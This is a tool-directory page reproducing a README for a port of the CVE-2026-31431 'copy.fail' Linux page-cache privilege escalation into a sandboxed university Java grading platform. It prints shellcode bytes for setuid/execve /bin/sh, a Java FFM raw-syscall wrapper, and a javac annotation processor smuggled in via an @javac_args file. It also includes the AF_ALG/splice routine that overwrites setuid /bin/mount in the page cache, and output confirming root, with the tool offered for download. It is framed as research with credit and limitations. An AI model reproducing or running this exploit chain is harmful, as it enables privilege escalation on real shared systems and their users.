Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner — CVE-2026-31431 (copy.fail) — adapted for constrained Java execution environments via FFM syscall layer + javac annotation processor delivery | Kitploit
Tools/GitHubGitHub/karollooool/porting-cve-2026-31431-copy-fail-to-a-constrained-java-runner
Privilege EscalationVulnerability AnalysisExploitationShellcodePenetration TestingPapers & ResearchLearning & EducationPayload DevelopmentContainer Escape

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Binary Exploitation
GitHubkarollooool/porting-cve-2026-31431-copy-fail-to-a-constrained-java-runner

Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner

CVE-2026-31431 (copy.fail) — adapted for constrained Java execution environments via FFM syscall layer + javac annotation processor delivery

View RepositoryWebsite
125 days agoNot yet reviewed

Running CVE-2026-31431 inside a Java box that did not want me to run anything

Credit first, because this matters. The vulnerability, the technique, and the original exploit are all the work of the researchers at copy.fail. CVE-2026-31431 is theirs. I did not find this bug. What follows is the story of getting their exploit to fire inside a Java code runner that had been locked down to the point where running their Python as written was not an option. My contribution is the plumbing, not the primitive.

TL;DR

My university Java assignment platform takes student code, compiles it with javac, and runs it inside a Docker container. After a first round of poking (and a few reported bugs getting patched) the container was down to a read only root filesystem, seccomp level 2, AppArmor enforce, zero capabilities, and only /tmp and /dev/shm writable, both nosuid,nodev,noexec. There was no native compiler, no writable exec path, no memfd_create, no process_vm_readv, no pidfd_getfd.

The copy.fail exploit needs a writable page cache primitive and a way to deliver shellcode. Neither was reachable the obvious way. So I rebuilt the whole delivery path in Java: a raw syscall layer built on Java 21's Foreign Function and Memory API, an ELF payload assembled in Python at build time, and a javac annotation processor as the trigger. The copy.fail page cache write did the actual work. End result was uid 0 inside the container.

Container root, not host root. I will say that more than once, because it is the whole shape of the thing.

The box, after the first round

This is what the container looked like once the earlier issues were fixed.

  • User uid=100(runner), gid=101(runner).
  • CapEff: 0x0000000000000000. Zero effective capabilities.
  • AppArmor docker-default (enforce).
  • Seccomp level 2.
  • Root filesystem on a read only overlay.
  • Writable paths: /tmp and /dev/shm, both mounted nosuid,nodev,noexec.
  • No Docker socket, no internet egress, no writable executable path anywhere.

That is a genuinely unpleasant box to land on. Most of the usual moves are gone. You cannot drop a binary, you cannot compile one, you cannot memfd_create one and exec it, and the few writable directories are noexec.

But one door was left ajar. runner could call a privileged sandbox wrapper through sudo, which did roughly this:

root@kitploit:~
/sbin/su-exec root setpriv --no-new-privs --inh-caps=-all "$@" &

So you could reach uid 0 inside the container, but only with NoNewPrivs=1 and a bounding set capped at CAP_SETUID | CAP_SETGID. Constrained root. Root in name, root in almost nothing else.

That gap between "is uid 0" and "can actually do anything as uid 0" is exactly the gap copy.fail is built to close.

What copy.fail actually does, in case you have not read it

The original exploit abuses the Linux AF_ALG socket, the kernel crypto API. Specifically the authencesn(hmac(sha256),cbc(aes)) algorithm and its decrypt path. That path writes into a kernel scratch buffer, and through a careful sequence of sendmsg() and splice() calls you can steer that write into the page cache of an arbitrary file descriptor.

The page cache is shared across mount namespaces. So if you write into the page cache of a setuid binary, say /bin/mount, and then execve() it, the kernel runs your corrupted bytes. The setuid bit makes the kernel honor the file owner, root, as the new process identity. The corruption is not a race. It is a deterministic write. That is the whole reason copy.fail is as clean as it is.

The original Python does this elegantly. It just assumes you can do a handful of things my box refused to let me do:

  • memfd_create() returns EPERM.
  • process_vm_readv() returns EPERM.
  • pidfd_getfd() returns EPERM.
  • Raising RLIMIT_CORE returns EPERM.
  • Compiling and uploading a C binary to an executable path: no writable exec paths exist.

So I could not run their code. I had to rebuild the parts that touched those primitives, in a shape the box would tolerate.

What I changed

Four pieces. Only the delivery changed. The page cache write itself is copy.fail's, ported syscall for syscall.

A payload built in Python, not shipped as a binary

The original uses a prebuilt shellcode blob. I could not upload or execute a binary, so the payload gets assembled from scratch at build time in Python, byte by byte, and serialized to hex. The ELF header, the program header, and the shellcode are all constructed in build_payload() and packed with struct.

The shellcode itself is short and honest about what it wants:

root@kitploit:~
code += b'\x48\xc7\xc0\x6a\x00\x00\x00'     # mov rax, 106 (setgid)
code += b'\x0f\x05'                          # syscall
code += b'\x48\xc7\xc0\x69\x00\x00\x00'     # mov rax, 105 (setuid)
code += b'\x0f\x05'                          # syscall
# ... jmp/call/pop to find "/bin/sh", build argv, execve ...

The plan is setgid(0), setuid(0), then execve("/bin/sh", ["/bin/sh", "-c", "id"], NULL). No external file, no upload step. The hex string is baked straight into the Java source as a literal and decoded in a static initializer. That sidesteps the entire "no writable exec path" problem, because the payload never touches disk. It goes into memory and then into the page cache.

Java FFM as a syscall layer, because there was no other way to make syscalls

This is the part I am happiest with, and also the part that felt most absurd while writing it.

I needed raw syscalls from inside the container, and I had no way to compile or run native code. Java 21's Foreign Function and Memory API lets you call the C library's syscall() directly through the native linker. The catch is that I did not want to depend on the exact module path or on FFM being on the preview, so the whole wiring is done through reflection against java.lang.foreign.*. It finds the native linker, looks up syscall and __errno_location, builds a FunctionDescriptor for (long, long, long, long, long, long, long) -> long, and hands back a MethodHandle.

root@kitploit:~
static long sc(long n, long a, long b, long c, long d, long e, long f) throws Throwable {
    return (long) syscall.invokeWithArguments(n, a, b, c, d, e, f);
}

From there every syscall is just sc(NR, arg0, arg1, ...). Memory comes from anonymous mmap (sc(9, 0, sz, 3, 0x22, -1, 0)), writes go through /proc/self/mem, reads come back the same way. No JNI, no native compilation, no dependencies beyond the JDK. Reading and writing my own memory through /proc/self/mem is what replaces process_vm_readv, which the box had blocked.

One lucky break: the container's JVM launch wrapper already passed --enable-native-access=ALL-UNNAMED. Without that flag FFM refuses to make the downcall, and I would have been stuck. They left the door unlocked on the JVM side even after locking everything else.

The annotation processor, which is the actual escalation

This is the move that turns "I can submit Java" into "I can run code as constrained root."

The platform compiles student submissions with javac. javac supports annotation processors through -processor ClassName. A processor's process() method runs during compilation, in the same process as javac, with the same privileges. The submission endpoint also accepted an @javac_args file among the sources, and its contents got passed straight to the compiler. So I could hand javac this:

root@kitploit:~
-processor
RP
Trigger.java

And RP.java, my annotation processor, would execute at compile time:

root@kitploit:~
@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_21)
public class RP extends AbstractProcessor {
    public boolean process(Set<? extends TypeElement> ann, RoundEnvironment re) {
        if (done) return false; done = true;
        String out = run(<PRIVESC_CMD>,
                         "timeout", "55", "java",
                         "--enable-native-access=ALL-UNNAMED", "CopyFailV11");
        processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR, "CF11\n" + out);
        return false;
    }
}

The processor calls the privileged sandbox wrapper, which runs java CopyFailV11 as constrained root. The exploit then runs in that constrained root context and does the page cache overwrite. The compile error message is also how I exfiltrated the output back through the platform's response, since a failed compile is a normal thing to see.

The full chain, end to end:

  1. Submit sources: CopyFailV11.java plus RP.java plus Trigger.java plus @javac_args.
  2. javac compiles everything, hits the annotation processor.
  3. The processor invokes the privileged wrapper, which runs java CopyFailV11.
  4. CopyFailV11 runs as constrained root and performs the page cache overwrite.

The page cache write, ported to Java syscalls

This is copy.fail's primitive, unchanged in concept, just expressed through the Java syscall layer. Every 4 bytes of the payload needs its own fresh AF_ALG socket cycle:

root@kitploit:~
static int patch(int fd, int off, byte[] v) throws Throwable {
    long af = sc(41, 38, 5, 0, 0, 0, 0);              // socket(AF_ALG, SOCK_SEQPACKET, 0)
    // ... bind to authencesn(hmac(sha256),cbc(aes)), set 72-byte key, set authsize ...
    long of = sc(43, af, 0, 0, 0, 0, 0);              // accept -> operation socket

    // sendmsg with MSG_SPLICE_PAGES (0x8000) to trigger the page cache write
    sc(46, of, ma, 32768, 0, 0, 0);

    // pipe2 + two splice calls to move the data through
    sc(293, pa, 0, 0, 0, 0, 0);                       // pipe2
    sc(275, fd, oa, pw, 0, o, 0);                     // splice: file -> pipe write end
    sc(275, pr, 0, of, 0, o, 0);                      // splice: pipe read end -> AF_ALG op socket
    // ...
}

The thing that makes this work, and that I want to be clear is not my insight: the authencesn decrypt scratch write path, combined with MSG_SPLICE_PAGES and splice(), bypasses normal copy on write semantics and lands bytes directly in the page cache of the target file descriptor. No race. Deterministic.

The target is /bin/mount. It is setuid root, and it is present in the page cache even though the root filesystem is a read only overlay. The overlay is read only on disk. The page cache is not the overlay.

Result

root@kitploit:~
[+] CopyFailV11 starting
[+] Writing 54 chunks to /bin/mount page cache
[+] TEST_WRITE result=0
[+] AFTER_TEST_FIRST4=54455354   <-- "TEST" at offset 0, confirmed
[+] MATCH_COUNT=216/216          <-- all payload bytes in page cache
[+] Page cache mutated! Fork+exec /bin/mount...

CHILD_STATUS:
  Name:   mount
  Uid:    0  0  0  0
  Gid:    0  0  0  0
  CapEff: 00000000000000c0
  NoNewPrivs: 1
  Seccomp: 2

[+] EXPLOIT SUCCESS: Child ran as uid=0 gid=0 (ROOT)

The bytes land in the page cache, the child runs as uid 0 and gid 0, and the write is one hundred percent reliable across runs. The first four bytes being 54455354 is just TEST in ASCII, which is the sanity write I do before committing the real payload. If the sanity write shows up in the file, the whole write will.

What I did not do

The core vulnerability is entirely copy.fail's. I did not discover CVE-2026-31431, I did not find the AF_ALG primitive, and I did not design the sendmsg plus splice trick. I adapted the delivery for a box where none of the normal helpers existed:

  • No native binary could be compiled or uploaded.
  • memfd_create, process_vm_readv, and pidfd_getfd were all blocked.
  • The only available execution path ran through the Java compiler.

If you want to understand why any of this works, read copy.fail. This repo is the answer to "okay, but what if the box also took away your compiler and your shellcode file."

Limitations, and being honest about them

The child inherits every constraint the sandbox wrapper imposed. Nothing about the page cache write loosens those.

  • NoNewPrivs: 1. No gaining more privileges.
  • CapEff: 0xc0. Only CAP_SETUID and CAP_SETGID.
  • Seccomp: 2. Syscall filtering still active.
  • docker-default AppArmor still enforced.

So this is container root, not host root. Escaping the container from this state is a separate and harder problem, and between AppArmor and kernel hardening the box does a good job of closing it. I am not claiming a Docker escape. I am claiming that "constrained root" turned out to be less constraining than the configuration intended, because copy.fail's primitive does not need real capabilities, it just needs the ability to write to a page cache, and the page cache does not care about your capability mask.

That is the bit worth sitting with. The sandbox was designed around what root can do. The exploit does not do anything as root. It does a thing to a file, and the file happens to be setuid.

Files

  • copy_fail_java_runner.py. Build script. Assembles the ELF payload in Python, bakes it into the generated Java sources, and writes a ready to POST payload.json. Configure the target host, runner endpoint, and privesc command at the top of the file before running.
  • Generated on run: CopyFailV11.java (the exploit and FFM syscall layer), RP.java (the annotation processor), Trigger.java and the main class (dummy sources so the compile is well formed), javac_args (injects -processor RP), and payload.json.

Original vulnerability and technique: copy.fail, CVE-2026-31431. This project is an environment specific port and claims no credit for the underlying bug.

Download Tool